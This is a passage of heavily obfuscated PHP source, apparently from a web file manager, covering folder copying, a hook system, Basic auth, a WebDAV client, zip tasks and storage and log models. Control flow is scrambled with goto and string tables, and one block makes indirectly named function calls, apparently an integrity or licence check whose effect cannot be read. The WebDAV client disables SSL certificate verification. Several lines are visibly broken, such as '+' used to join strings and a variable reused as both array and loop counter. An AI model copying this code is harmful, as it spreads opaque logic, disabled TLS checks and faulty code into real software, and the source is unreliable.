0)); Model($C[533])->where($cӇ)->delete(); goto bĕ; bĕ: } public function copyFolderFromIO($B⋊, $eՋ, $dݓ, $eÓ˨, $a, $D = false) { goto Eꍢ; Fប: Model($F[418])->linkAdd($dυӇ[$F[497]]); Model($F[418])->remove($dυӇ[$F[534]]); $this->folderSizeReset($dݓ); goto aƸ; a۲: Hook::trigger($F[536]); if ($eř) { $this->folderSizeResetChildren($eř); } $this->_childrenListClear(); goto d㲓; Eꍢ: $F =& $_SERVER[ڊ]; $dυӇ = array($F[498] => array(), $F[499] => array(), $F[497] => array(), $F[534] => array()); $cן = $D ? $D : $B⋊->getPathName($B⋊->pathThis($eՋ)); goto A; A: $Cʍ = $this->fileNameExist($dݓ, $cן); $eř = $this->mkdir($dݓ, $cן, $eÓ˨); if (!$Cʍ || $eÓ˨ == REPEAT_RENAME_FOLDER) { $eÓ˨ = !1; } goto fڹ; aƸ: $this->updateModifyTime($dݓ); return $eř; goto A푂; d㲓: Model($F[500])->addAll($dυӇ[$F[498]], array(), !0); Model($F[501])->eventCopy($eř); $this->saveAll($dυӇ[$F[499]]); goto Fប; fڹ: if ($Cʍ) { $this->_childrenAllMake($Cʍ); } Hook::trigger($F[535]); $this->_copyChildTo($B⋊, $eՋ, $eř, $eÓ˨, $dυӇ, $a); goto a۲; A푂: } private function _copyChildTo($F, $aۊ, $Dϔ, $e鳒, &$bӟ, $E) { goto B߂㈒; f߂֬: $DÊ = $this->_childrenList($Dϔ); $DÊ = array_to_keyvalue($DÊ, $bכ[28]); foreach ($E쓪 as $Cސ) { $c͡ = $DÊ[$Cސ[$bכ[28]]]; $C̽ = $c͡[$bכ[366]]; $this->_copyApplyMeta($c͡, $bӟ); if ($Cސ[$bכ[29]] == $bכ[76]) { $Cސ[$bכ[75]] = $F->getPathInner($Cސ[$bכ[75]]); $this->_copyChildTo($F, $Cސ[$bכ[75]], $C̽, $e鳒, $bӟ, $E); } } goto F; dъ: $E쓪 = array_merge($Bؔ鍖[$bכ[73]], $Bؔ鍖[$bכ[74]]); $Bη̱ = $this->_addFiles($F, $Bؔ鍖[$bכ[73]], $E); $e = array(); goto E񠮶; B߂㈒: $bכ =& $_SERVER[ڊ]; $b = $this->sourceInfoCache($Dϔ); $Bؔ鍖 = $F->listPath($aۊ, !1, !0); goto dъ; E񠮶: foreach ($E쓪 as &$Cސ) { goto Dڅ; e׹ᔈ: $Cސ[$bכ[77]] = _get($Cސ, $bכ[77], 0); $Cސ[$bכ[415]] = _get($Cސ, $bכ[415], 0); if (!isset($Cސ[$bכ[537]]) && $Cސ[$bכ[415]]) { $bӟ[$bכ[534]][] = $Cސ[$bכ[415]]; } goto A; Dڅ: if (isset($Bη̱[$Cސ[$bכ[28]]])) { $Cސ = $Bη̱[$Cސ[$bכ[28]]]; } $Cސ[$bכ[367]] = $Cސ[$bכ[29]] == $bכ[76]; $Cސ[$bכ[369]] = _get($Cސ, $bכ[157], $bכ[33]); goto e׹ᔈ; A: if ($e鳒) { $C΍Ә = $this->fileNameExistCache($Dϔ, $Cސ[$bכ[28]]); if ($C΍Ә) { if ($Cސ[$bכ[367]] || $e鳒 == REPEAT_SKIP) { continue; } if ($e鳒 == REPEAT_REPLACE) { $c͡ = $this->sourceInfoCache($C΍Ә); $EϠ = $this->fileHistory($c͡, $Cސ[$bכ[415]], $Cސ[$bכ[77]]); if ($EϠ) { $bӟ[$bכ[497]][] = $Cސ[$bכ[415]]; } continue; } else { if ($e鳒 == REPEAT_RENAME) { $Cސ[$bכ[28]] = $this->fileNameAutoCache($Dϔ, $Cސ[$bכ[28]], $e鳒, !1); } } } } if (!$Cސ[$bכ[367]] && $Cސ[$bכ[415]]) { $bӟ[$bכ[497]][] = $Cސ[$bכ[415]]; } $e[] = $this->_makeItemData($Cސ, $b, $Cސ[$bכ[28]]); goto a홍; a홍: } unset($Cސ); if (!empty($e)) { $this->addAll($e); } goto f߂֬; F: } private function _addFiles($Dۭ殔, $aӼ͡, $eݷ) { goto C臸; eߢ: return $Aև; goto e͵; Bԕ: $aԴӕ = array($cÏ[160] => array($cÏ[7], array_keys($Dص))); $F󋤦 = $F->where($aԴӕ)->select(); $F󋤦 = $F󋤦 ? $F󋤦 : array(); goto Eԯ; f엎: $A֞ = array(); foreach ($aӼ͡ as $F) { if (isset($F[$cÏ[537]]) && $F[$cÏ[537]]) { continue; } $F = $Dۭ殔->getPathInner($F[$cÏ[75]]); $A = $F->addFileMake($F, $F[$cÏ[77]], $F[$cÏ[161]], $F[$cÏ[160]], $F[$cÏ[28]], $eݷ); $A֞[] = $A; } $F->addAll($A֞); goto Bԕ; e冷ۄ: foreach ($aӼ͡ as &$b) { goto F; F؃: $bڒ̕ = $Dۭ殔->hashMd5($b[$cÏ[75]]); if (strlen($bڒ̕) > 10 && !isset($Dص[$bڒ̕])) { $Dص[$bڒ̕] = array(); } $b[$cÏ[161]] = $C̹; goto dߏ; bݓ: if (count($Dص[$bڒ̕]) > 1) { $b[$cÏ[537]] = !0; } goto a; F: Hook::trigger($cÏ[538], $b); $b[$cÏ[75]] = $Dۭ殔->getPathInner($b[$cÏ[75]]); $C̹ = $Dۭ殔->hashSimple($b[$cÏ[75]]); goto F؃; dߏ: $b[$cÏ[160]] = $bڒ̕; Hook::trigger($cÏ[539], $b); $Dص[$bڒ̕][] =& $b; goto bݓ; a: } $aԴӕ = array($cÏ[160] => array($cÏ[7], array_keys($Dص))); $F = Model($cÏ[540]); goto D; C臸: $cÏ =& $_SERVER[ڊ]; if (!$aӼ͡ || count($aӼ͡) == 0) { return array(); } $Dص = array(); goto e冷ۄ; D: $F󋤦 = $F->where($aԴӕ)->select(); $F󋤦 = $F󋤦 ? $F󋤦 : array(); foreach ($F󋤦 as $Fߔ) { if (!isset($Dص[$Fߔ[$cÏ[160]]])) { continue; } $C = $Dص[$Fߔ[$cÏ[160]]]; foreach ($C as &$b) { $b[$cÏ[415]] = $Fߔ[$cÏ[415]]; $b[$cÏ[537]] = !0; } unset($b); } goto f엎; Eԯ: foreach ($F󋤦 as $Fߔ) { if (!isset($Dص[$Fߔ[$cÏ[160]]])) { continue; } $F =& $Dص[$Fߔ[$cÏ[160]]]; foreach ($F as &$b) { $b[$cÏ[415]] = $Fߔ[$cÏ[415]]; } unset($b); } $Aև = array(); foreach ($aӼ͡ as $aܿ) { $Aև[$aܿ[$cÏ[28]]] = $aܿ; } goto eߢ; e͵: } } define($_SERVER[ڊ][541], $_SERVER[ڊ][542]); goto aȻ; bۓ: class Hook { private static $events = array(); public static function get($B = false) { if (!$B) { return self::$events; } else { return self::$events[$B]; } } public static function apply($C, $eŷ = array()) { $Dͩ = ActionApply($C, $eŷ); if (is_string($C)) { Hook::trigger($C); } return $Dͩ; } public static function bind($eǡҘ, $aȗգ, $BϿ = false) { $Cé =& $_SERVER[ڊ]; if (!isset(self::$events[$eǡҘ])) { self::$events[$eǡҘ] = array(); } self::$events[$eǡҘ][] = array($Cé[1719] => $aȗգ, $Cé[1720] => $BϿ, $Cé[1721] => 0); } public static function once($aٱ, $B雛) { self::bind($aٱ, $B雛, !0); } public static function unbind($d, $Bƺ = false) { if (!$Bƺ) { self::$events[$d] = array(); return; } $cӿ = self::$events[$d]; self::$events[$d] = array(); if (!is_array($cӿ)) { return; } for ($B = 0; $B < count($cӿ); $B++) { if ($cӿ[$B][$_SERVER[ڊ][1719]] == $Bƺ) { continue; } self::$events[$d][] = $cӿ[$B]; } } public static function filter($D, $c) { goto F; F: $b娂Ϩ =& $_SERVER[ڊ]; $Cɺ = self::$events; if (!isset($Cɺ[$D])) { return $c; } goto F֮; F֮: $cǐ = $Cɺ[$D]; $bܘ = $c; if (!is_array($cǐ) || count($cǐ) == 0) { return $bܘ; } goto a៍; a៍: for ($Fߛ = 0; $Fߛ < count($cǐ); $Fߛ++) { $aζ = $cǐ[$Fߛ]; if ($aζ[$b娂Ϩ[1720]] && $aζ[$b娂Ϩ[1721]] > 1) { continue; } self::$events[$D][$Fߛ][$b娂Ϩ[1721]] = $aζ[$b娂Ϩ[1721]] + 1; $d܇ = self::apply($aζ[$b娂Ϩ[1719]], array($bܘ)); if (!is_null($d܇)) { $bܘ = $d܇; } } return $bܘ; goto E; E: } public static function trigger($B) { goto a٬; e: return $a薳; goto fˬ; a: if (!isset($c§[$B])) { return $a薳; } $e = $c§[$B]; if (!is_array($e) || count($e) == 0) { return $a薳; } goto A곊˵; A곊˵: $B = func_get_args(); array_shift($B); for ($e = 0; $e < count($e); $e++) { $b = $e[$e]; if ($b[$Eʋ[1720]] && $b[$Eʋ[1721]] > 1) { continue; } if (defined($Eʋ[1722]) && GLOBAL_LOG_HOOK) { write_log($B . $Eʋ[1723] . $b[$Eʋ[1719]], $Eʋ[1724]); } self::$events[$B][$e][$Eʋ[1721]] = $b[$Eʋ[1721]] + 1; $Eې = self::apply($b[$Eʋ[1719]], $B); if (defined($Eʋ[1722]) && GLOBAL_LOG_HOOK) { write_log(get_caller_info(), $Eʋ[1724]); if ($b[$Eʋ[1721]] == 200) { $e = is_array($b[$Eʋ[1719]]) ? json_encode_force($b[$Eʋ[1719]]) : $b[$Eʋ[1719]]; write_log($Eʋ[1725] . $B . $Eʋ[1726] . $e, $Eʋ[1727]); } } $a薳 = is_null($Eې) ? $a薳 : $Eې; } goto e; a٬: $Eʋ =& $_SERVER[ڊ]; $c§ = self::$events; $a薳 = !1; goto a; fˬ: } } class HttpAuth { public static function get() { $A =& $_SERVER[ڊ]; $b鈓 = $A[33]; $aό = $A[33]; if (isset($_SERVER[$A[1728]])) { $b鈓 = $_SERVER[$A[1728]]; $aό = $_SERVER[$A[1729]]; } elseif (isset($_SERVER[$A[1730]])) { $e = $_SERVER[$A[1730]]; if (strpos(strtolower($e), $A[1731]) === 0) { $aݤ = explode($A[4], base64_decode(substr($e, 6))); $b鈓 = isset($aݤ[0]) ? $aݤ[0] : $A[33]; $aό = isset($aݤ[1]) ? $aݤ[1] : 0; } } return array($A[531] => $b鈓, $A[891] => $aό); } public static function error() { goto F牱; c: header($A˝[1734]); header($A˝[1735]); header($A˝[1250]); goto eœ; eœ: die; goto Cϳ; F牱: $A˝ =& $_SERVER[ڊ]; header($A˝[1732]); header($A˝[1733]); goto c; Cϳ: } public static function make($Cˡӑ, $E˩) { $Cّꭸ =& $_SERVER[ڊ]; return $Cّꭸ[1736] + base64_encode($Cˡӑ . $Cّꭸ[4] . $E˩); } } class HttpDavClient { public function __construct($Bٸ, $d渐, $Fؚз) { $this->header = array(); $this->userName = $d渐; $this->userPassowrd = $Fؚз; } protected function makePath($bΠ) { return $bΠ; } protected function setHeader($F, $dnj = false) { if ($dnj === !1) { $this->header[] = $F; } else { $this->header[] = $F . $_SERVER[ڊ][874] . $dnj; } } public function move($Fգ, $Aū, $D = '') { $e =& $_SERVER[ڊ]; $this->setHeader($e[1737], $this->makePath($Aū)); $this->setHeader($e[1738], $e[1739]); if ($D) { $this->setHeader($e[1740], $e[919] . $D . $e[922]); } return $this->send($e[1741], $Fգ); } public function copy($cÉ, $cѱߔ) { $b԰ =& $_SERVER[ڊ]; $this->setHeader($b԰[1737], $this->makePath($cѱߔ)); $this->setHeader($b԰[1738], $b԰[1739]); return $this->send($b԰[1742], $cÉ); } public function mkcol($c) { $C퇑 =& $_SERVER[ڊ]; $this->setHeader($C퇑[1738], $C퇑[1739]); return $this->send($C퇑[1743], $c); } public function delete($cĊ, $Dӟ = '') { $c׹ =& $_SERVER[ڊ]; if ($Dӟ) { $this->setHeader($c׹[1740], $c׹[919] . $Dӟ . $c׹[922]); } return $this->send($c׹[1238], $cĊ); } public function propfind($Cյ) { $B =& $_SERVER[ڊ]; $this->setHeader($B[1744], $B[83]); $this->setHeader($B[1745], $B[1746]); $C屢 = $B[1747]; return $this->send($B[1748], $Cյ, $C屢); } public function options($Bܔ) { return $this->send($_SERVER[ڊ][1749], $Bܔ); } public function get($AҤ˦) { return $this->send($_SERVER[ڊ][213], $AҤ˦); } public function put($d, $A˶, $a˖ܚ = '') { $Cʉ =& $_SERVER[ڊ]; if ($a˖ܚ) { $this->setHeader($Cʉ[1740], $Cʉ[919] . $a˖ܚ . $Cʉ[922]); } return $this->send($Cʉ[211], $d, $A˶); } protected function send($d, $fꃸ, $Eٴ = false, $E܂ = false) { goto eܵ; Eӕ۲: $this->header = array(); return $Aڇ; goto D; AԌϐ: curl_setopt($Dٽ, CURLOPT_SSL_VERIFYPEER, !1); curl_setopt($Dٽ, CURLOPT_SSL_VERIFYHOST, !1); $Aڇ = curl_exec($Dٽ); goto Eӕ۲; cъ: curl_setopt($Dٽ, CURLOPT_HTTPHEADER, $this->header); curl_setopt($Dٽ, CURLOPT_RETURNTRANSFER, !0); curl_setopt($Dٽ, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); goto AԌϐ; eܵ: $CΖ =& $_SERVER[ڊ]; $f = HttpAuth::make($this->userName, $this->userPassowrd); $this->setHeader($CΖ[1750], $CΖ[50]); goto b̙; Cnjф: $Dٽ = curl_init($fꃸ); curl_setopt($Dٽ, CURLOPT_CUSTOMREQUEST, $d); curl_setopt($Dٽ, CURLOPT_HTTPAUTH, CURLAUTH_ANY); goto cъ; b̙: $this->setHeader($f); if ($Eٴ) { $Eٴ = $CΖ[1751] . $Eٴ; } if (!request_url_safe($fꃸ)) { return !1; } goto Cnjф; D: } } goto e; e: $DӸϑ = $_SERVER[ڊ][1152]; if ($_SERVER[$_SERVER[ڊ][781]] != $DӸϑ($a٩)) { goto A; fĦ: $A = explode($_SERVER[ڊ][214], $dȅ); if (count($A) < $_SERVER[ڊ][557]) { $fѴ = $_SERVER[ڊ][787]; $fѴ(); } $fΘ = $_SERVER[ڊ][1153]; goto b規; b規: $fΘ($a٩); goto b; A: $bЃ蕨 = $_SERVER[ڊ][784]; $aᙌذ = $_SERVER[$_SERVER[ڊ][785]] . $_SERVER[ڊ][786]; $dȅ = $bЃ蕨($aᙌذ); goto fĦ; b: } class TaskZip extends TaskFileTransfer { protected function startAfter() { $fґ =& $_SERVER[ڊ]; parent::startAfter(); Hook::bind($fґ[1480], array($this, $fґ[1475])); $b =& $this->task; $b[$fґ[1477]] = $fґ[1032]; if (!$b[$fґ[1316]]) { $b[$fґ[1316]] = LNG($fґ[1481]); } } protected function endAfter() { $e =& $_SERVER[ڊ]; parent::endAfter(); Hook::unbind($e[1480], array($this, $e[1475])); } public function updateAfter() { $cܛ =& $_SERVER[ڊ]; $a樉 =& $this->task; if (!$a樉[$cܛ[970]] || !$a樉[$cܛ[693]]) { return; } if ($a樉[$cܛ[1477]] == $cܛ[1032]) { $aݏ = $a樉[$cܛ[1455]]; if ($a樉[$cܛ[1456]] != $cܛ[1032]) { $aݏ = 0; } $eգ = ($a樉[$cܛ[1459]] + $aݏ) / $a樉[$cܛ[693]]; $a樉[$cܛ[1410]] = $eգ * 0.3; } else { if ($a樉[$cܛ[1477]] == $cܛ[298]) { $eգ = $a樉[$cܛ[982]] / $a樉[$cܛ[970]]; $a樉[$cܛ[1410]] = 0.3 + $eգ * 0.5; } else { if ($a樉[$cܛ[1477]] == $cܛ[91]) { $eգ = 0; if ($a樉[$cܛ[1454]]) { $eգ = $a樉[$cܛ[1455]] / $a樉[$cܛ[1454]]; } $a樉[$cܛ[1410]] = 0.3 + 0.5 + $eգ * 0.2; } } } if ($a樉[$cܛ[1410]] > 0) { $E䊿 = timeFloat() - $a樉[$cܛ[1412]] - $a樉[$cܛ[1415]]; $a樉[$cܛ[1416]] = $E䊿 * (1 - $a樉[$cܛ[1410]]) / $a樉[$cܛ[1410]]; } } public function copyFileStart($aܜ, $d, $D, $eǍ, $EѾ, $A) { $F렭 =& $_SERVER[ڊ]; parent::copyFileStart($aܜ, $d, $D, $eǍ, $EѾ, $A); $b൏ =& $this->task; if ($b൏[$F렭[1477]] == $F렭[298]) { $b൏[$F렭[1477]] = $F렭[91]; } $this->update(); } public function copyFileEnd($a㼠, $C, $F޽궇, $B, $D񶑹, $eʥ) { $D⒑ =& $_SERVER[ڊ]; $Dޫ =& $this->task; $Dޫ[$D⒑[1455]] = $Dޫ[$D⒑[1454]]; $Dޫ[$D⒑[1459]] += $Dޫ[$D⒑[1454]]; $Dޫ[$D⒑[1456]] = $D⒑[33]; $this->update(); } public function nameParse($Aь֖) { $b꭪ =& $_SERVER[ڊ]; $D׳͆ =& $this->task; if ($D׳͆[$b꭪[982]] < $D׳͆[$b꭪[970]]) { $aף‘ە = get_path_this($Aь֖); if (strstr($aף‘ە, $b꭪[93])) { $D׳͆[$b꭪[982]] += 1; } } if ($D׳͆[$b꭪[1477]] == $b꭪[1032]) { $D׳͆[$b꭪[1477]] = $b꭪[298]; } $D׳͆[$b꭪[1452]] = $Aь֖; $this->update(); } } goto F핖; e܉Ӷ: class StorageModel extends ModelBaseLight { public $optionType = "\123\171\163\164\x65\x6d\56\x73\x74\157\162\141\147\x65\x4c\x69\163\164"; public $field = array("\x6e\x61\x6d\x65", "\163\x69\172\145\115\x61\x78", "\x73\x79\x73\x74\145\155", "\x64\x65\x66\x61\x75\x6c\164", "\x64\162\x69\166\145\162", "\x63\x6f\x6e\146\151\147"); public function listData($A = false, $C = "\155\x6f\144\151\146\x79\124\151\155\145", $c = false) { goto F²; F²: $F =& $_SERVER[ڊ]; $d̞ = parent::listData($A, $C, $c); if ($A) { return $d̞; } goto e빎; B: return $d̞; goto a; e빎: foreach ($d̞ as $Eɻ => $A) { unset($d̞[$Eɻ][$F[6]]); $d̞[$Eɻ][$F[2058]] = 0; } $E㎦ = array_to_keyvalue($d̞, $F[33], $F[364]); $this->_listAppendSize($d̞, $E㎦); goto B; a: } public function _listAppendSize(&$Eɠ, $dˣ؇Ƹ) { $fˉ =& $_SERVER[ڊ]; $C̟ = $fˉ[2323] . implode($fˉ[47], $dˣ؇Ƹ) . $fˉ[2324]; $eޱ = Model($fˉ[714])->query($C̟); $eޱ = array_to_keyvalue($eޱ, $fˉ[364], $fˉ[77]); foreach ($Eɠ as $A񧟯 => $b݆ƞ) { $Eɠ[$A񧟯][$fˉ[2058]] = isset($eޱ[$b݆ƞ[$fˉ[364]]]) ? $eޱ[$b݆ƞ[$fˉ[364]]] : 0; } } public function getConfig($b) { $c⻻ = parent::listData($b); return json_decode($c⻻[$_SERVER[ڊ][6]], !0); } public function update($aȊ, $ḇ) { goto c싎; E: if (isset($b[$B͖]) && $b[$B͖][$eƃ[364]] != $aȊ) { return !1; } if (isset($ḇ[$eƃ[2325]]) && $ḇ[$eƃ[2325]] == $eƃ[83]) { $this->checkConfig($ḇ); } unset($ḇ[$eƃ[2325]]); goto AɆ䜙; AɆ䜙: $Bà = parent::update($aȊ, $ḇ); if ($Bà && $ḇ[$eƃ[34]]) { foreach ($b as $C) { if ($C[$eƃ[34]] && $C[$eƃ[364]] != $aȊ) { parent::update($C[$eƃ[364]], array($eƃ[34] => 0)); } } } return $BÃ; goto c; c싎: $eƃ =& $_SERVER[ڊ]; $B͖ = $ḇ[$eƃ[28]]; $b = array_to_keyvalue(parent::listData(), $eƃ[28]); goto E; c: } public function add($c) { goto bד; C: $this->checkConfig($c); $dյ = parent::insert($c); if ($dյ && $c[$b䧅[34]]) { foreach ($Fǂ as $DͲ) { if ($DͲ[$b䧅[34]]) { parent::update($DͲ[$b䧅[364]], array($b䧅[34] => 0)); } } } goto F; F: return $dյ; goto e; bד: $b䧅 =& $_SERVER[ڊ]; $Fǂ = array_to_keyvalue(parent::listData(), $b䧅[28]); if (isset($Fǂ[$c[$b䧅[28]]])) { return !1; } goto C; e: } public function checkConfig(&$fʗ) { goto B; Eކ: foreach ($C as $F => $fƋ) { $C[$F] = trim($fƋ); } $aޫ = rtrim($C[$A[1016]], $A[8]) . $A[8]; $E = $this->driverType($a˓); goto Bȑ; B: $A =& $_SERVER[ڊ]; $a˓ = strtolower($fʗ[$A[90]]); $C = json_decode_force($fʗ[$A[6]]); goto Eކ; b: $F = $a->getPath($aޫ . $A[1954]); if (!$a->mkfile($F)) { show_json(LNG($A[2326]), !1); } $C[$A[1016]] = $aޫ; goto c㧈; Bȑ: $F˅ = $A[71] . $E; $a = new $F˅($C); if (in_array($a˓, $a->objectDriver)) { if (!$a->isBucketCors() && !$a->setBucketCors()) { $c蝅 = LNG($A[2326]); $c蝅 .= $A[2327] . LNG($A[2328]); show_json($c蝅, !1); } } goto b; c㧈: $fʗ[$A[6]] = json_encode($C); $fʗ[$A[90]] = $E; return !0; goto FӍ괛; FӍ괛: } private function driverType($B꿈) { $dŋ =& $_SERVER[ڊ]; $D㍭ũ = array($dŋ[103] => $dŋ[2329], $dŋ[58] => $dŋ[2330], $dŋ[64] => $dŋ[2331]); if (isset($D㍭ũ[$B꿈])) { return $D㍭ũ[$B꿈]; } return strtoupper($B꿈); } public function driverListSystem() { $Eɡ =& $_SERVER[ڊ]; $f꣟ = parent::listData(); $b = array(); foreach ($f꣟ as $D֛ҡ) { unset($D֛ҡ[$Eɡ[184]], $D֛ҡ[$Eɡ[107]]); $D֛ҡ[$Eɡ[6]] = json_decode_force($D֛ҡ[$Eɡ[6]]); $b[] = $D֛ҡ; } return $b; } public function defaultDriver() { $DĎ =& $_SERVER[ڊ]; $A = parent::listData(); $CѴ = array_filter_by_field($A, $DĎ[34], 1); $CѴ = $CѴ[0]; if ($CѴ) { $CѴ[$DĎ[6]] = json_decode($CѴ[$DĎ[6]], !0); } return $CѴ; } public function driverInfo($e˔) { $E =& $_SERVER[ڊ]; $Eĕ = array_to_keyvalue(parent::listData(), $E[364]); if (!isset($Eĕ[$e˔])) { return !1; } $B̮Ө = $Eĕ[$e˔]; $B̮Ө[$E[6]] = json_decode_force($B̮Ө[$E[6]]); return $B̮Ө; } public function remove($e) { $this->removeShareItems($e); return parent::remove($e); } public function removeWithFile($AЌ) { goto A碇; F: $b𺉒 = Model($d[418])->where($Cᢅ)->sum($d[77]); $B = $d[2332] . $AЌ; $EƢ = new TaskFileTransfer($B, $d[2333], $EڳΘ, LNG($d[2334]) . "\x28{$AЌ}\x29"); goto Cɣ; fҶ: if (!$E) { $EƢ->stop($B); return !1; } $EƢ->end(); $this->remove($AЌ); goto cԗ; D橊: $c = Model($d[164])->where($Cᢅ)->field($d[2335])->select(); foreach ($c as $E) { goto E; E: $dݍ = $E[$d[75]]; $FѴ = $aأܧ . str_replace("\173\151\157\x3a{$AЌ}\175\57", $d[33], $dݍ); if (!IO::exist($dݍ)) { $E˟[] = $E[$d[415]]; $EƢ->updateFileEnd($E[$d[28]], $E[$d[77]]); continue; } goto cלȝ; C电: $b랲ʢ = array($d[738] => $cѸÉ, $d[75] => $FѴ); Model($d[164])->where($Cᢅ)->save($b랲ʢ); goto BՓ; cלȝ: if (IO::exist($FѴ)) { $EƢ->updateFileEnd($E[$d[28]], $E[$d[77]]); continue; } if (!IO::move($dݍ, get_path_father($FѴ))) { $E = !1; break; } $Cᢅ = array($d[415] => $E[$d[415]]); goto C电; BՓ: } $this->removeByFileID($E˟); goto fҶ; A碇: $d =& $_SERVER[ڊ]; $Cᢅ = array($d[738] => $AЌ); $EڳΘ = Model($d[418])->where($Cᢅ)->count(); goto F; DַɊ: $aأܧ = "\x7b\x69\x6f\x3a{$cѸÉ}\175\57"; $E = !0; $E˟ = array(); goto D橊; Cɣ: $EƢ->task[$d[693]] = (double) $b𺉒; $b = KodIO::defaultDriver(); $cѸÉ = $b[$d[364]]; goto DַɊ; cԗ: } public function progress($dޱӂ) { return Task::get($_SERVER[ڊ][2332] . $dޱӂ); } private function removeByFileID($Cȹ = array()) { goto A; C኎: foreach ($c as $F) { Model($dŗ[379])->removeNow($F, !1); } goto FĠ; eὗ΅: $c = Model($dŗ[1102])->where($A똸)->field($dŗ[366])->select(); if (!$c) { return; } $c = array_to_keyvalue($c, $dŗ[33], $dŗ[366]); goto C኎; A: $dŗ =& $_SERVER[ڊ]; if (empty($Cȹ)) { return; } $A똸 = array($dŗ[415] => array($dŗ[7], $Cȹ)); goto eὗ΅; FĠ: } private function removeShareItems($C) { goto a렿; Bܾ: Model($DߌΆ[532])->remove($fϕ); goto f; F鳌: $a = Model($DߌΆ[2049])->where($a)->field($DߌΆ[437])->select(); if (empty($a)) { return; } $fϕ = array_to_keyvalue($a, $DߌΆ[33], $DߌΆ[437]); goto Bܾ; a렿: $DߌΆ =& $_SERVER[ڊ]; $E = "\173\x69\x6f\x3a{$C}\175\x2f"; $a = array($DߌΆ[366] => 0, $DߌΆ[1010] => array($DߌΆ[746], "{$E}\x25")); goto F鳌; f: } } class SystemLightAppModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\x74\x65\x6d\56\114\151\147\150\x74\x41\x70\160"; public $modelType = "\x53\x79\163\x74\x65\155\117\160\164\x69\x6f\156"; public $field = array("\156\141\x6d\x65", "\x67\x72\x6f\x75\x70", "\x64\x65\163\143", "\x63\x6f\x6e\x74\145\156\164"); public function listData($E = false, $aêЉ = "\x6d\157\x64\151\146\171\x54\x69\x6d\x65", $Eƛ = true) { return parent::listData($E, $aêЉ, $Eƛ); } public function remove($E) { $e߃ = $this->findByName($E); if (!$e߃) { return !1; } return parent::remove($e߃[$_SERVER[ڊ][364]]); } public function add($DՐ) { if ($this->findByName($DՐ[$_SERVER[ڊ][28]])) { return !1; } return parent::insert($DՐ); } public function update($Bҧ쓿, $Aʘ) { $e҆ =& $_SERVER[ڊ]; $B = $this->findByName($Bҧ쓿); $BɄ̭ = $this->findByName($Aʘ[$e҆[28]]); if (!$B || $BɄ̭ && $BɄ̭[$e҆[364]] != $B[$e҆[364]]) { return !1; } return parent::update($B[$e҆[364]], $Aʘ); } } class SystemLogModel extends ModelBase { protected $tableName = "\163\x79\163\x74\x65\155\137\154\x6f\147"; protected $dataAuto = array(array("\x63\x72\x65\x61\164\145\x54\151\x6d\145", "\164\151\x6d\x65", "\x69\x6e\163\145\x72\164", "\146\x75\156\x63\164\151\157\156")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->allTypeList(); } public function allTypeList() { $C =& $_SERVER[ڊ]; return array($C[2336] => LNG($C[2337]), $C[2338] => LNG($C[2339]), $C[2012] => LNG($C[2340]), $C[2341] => LNG($C[2342]), $C[2343] => LNG($C[2344]), $C[2345] => LNG($C[2346]), $C[2347] => LNG($C[2348]), $C[2349] => LNG($C[2350]), $C[2043] => LNG($C[2351]), $C[2044] => LNG($C[2352]), $C[2353] => LNG($C[2354]), $C[2355] => LNG($C[2356]), $C[2357] => LNG($C[2358]), $C[2359] => LNG($C[2360]), $C[2041] => LNG($C[2361]), $C[2047] => LNG($C[2362]), $C[2363] => LNG($C[2364]), $C[2365] => LNG($C[2366]), $C[2367] => LNG($C[2368]), $C[2369] => LNG($C[2370]), $C[2050] => LNG($C[2371]), $C[2051] => LNG($C[2372]), $C[2373] => LNG($C[2374]), $C[2375] => LNG($C[2376]), $C[2377] => LNG($C[2378]), $C[2379] => LNG($C[2380]), $C[2381] => LNG($C[2382]), $C[2045] => LNG($C[2383]), $C[2384] => LNG($C[2385]), $C[2386] => LNG($C[2387]), $C[2388] => LNG($C[2388]), $C[2389] => LNG($C[2016]), $C[2390] => LNG($C[2391]), $C[2392] => LNG($C[2393]), $C[2394] => LNG($C[2395]), $C[2396] => LNG($C[2397]), $C[2398] => LNG($C[2398]), $C[2399] => LNG($C[2400]), $C[2401] => LNG($C[2402]), $C[2403] => LNG($C[2404]), $C[2405] => LNG($C[2406]), $C[2407] => LNG($C[2408]), $C[2409] => LNG($C[2410])); } private function typeFile() { $D =& $_SERVER[ڊ]; $F = array($D[2047] => array($D[2048]), $D[2357] => array($D[2411]), $D[2359] => array($D[2412]), $D[2041] => array($D[2042]), $D[2365] => array(), $D[2367] => array(), $D[2369] => array(), $D[2050] => array($D[2052]), $D[2051] => array($D[2052]), $D[2373] => array($D[2413]), $D[2375] => array($D[2413]), $D[2377] => array($D[2414]), $D[2363] => array($D[2415]), $D[2379] => array($D[2416]), $D[2381] => array($D[2417]), $D[2045] => array($D[2046])); return $F; } private function typeAll() { goto Aɱ; B: return $d˓; goto e; A: foreach ($a㾢 as $AÐ => $fŽͱ) { $d˓[$fŽͱ[0]] = $d˓[$AÐ]; } $d˓[$dĜ׃[2052]] = LNG($dĜ׃[2418]); $d˓[$dĜ׃[2413]] = LNG($dĜ׃[2419]); goto B; Aɱ: $dĜ׃ =& $_SERVER[ڊ]; $d˓ = $this->typeList; $a㾢 = array_filter($this->typeFile()); goto A; e: } public function addLog($A, $d텮 = array()) { goto A; CȽ: $fմ = get_client_ip(); if (!$d텮 || strlen(json_encode($d텮)) >= 1024) { $d텮 = array($f[2420] => $fմ); } else { if (is_array($d텮)) { $d텮[$f[2420]] = $fմ; } else { $d텮 = array($f[1026] => $d텮, $f[2420] => $fմ); } } $d텮 = array($f[1399] => Session::sign(), $f[1400] => $Fǜ, $f[29] => $A, $f[1402] => json_encode($d텮)); goto aƦ; aƦ: parent::add($d텮); goto aȓ; A: $f =& $_SERVER[ڊ]; if (!isset($this->typeList[$A])) { return; } $Fǜ = USER_ID ? USER_ID : (isset($d텮[$f[1409]]) ? $d텮[$f[1409]] : 0); goto CȽ; aȓ: } public function remove($Bܹ) { $this->where(array($_SERVER[ڊ][382] => $Bܹ))->delete(); } private function _makeOrder($AǨ = '') { goto Fڈ; b݈ӏ: $eȐ = Input::get($bگ[404], $bگ[7], $bگ[2210], array($bگ[2147], $bگ[400])); $eȐ = $aӂŽ[$eȐ]; $AǨ = $AǨ . "{$B}\40{$eȐ}"; goto Eז; Eז: return $this->order($AǨ); goto cұ; Fڈ: $bگ =& $_SERVER[ڊ]; $B = $bگ[184]; $aӂŽ = array($bگ[398] => $bگ[399], $bگ[400] => $bگ[401]); goto b݈ӏ; 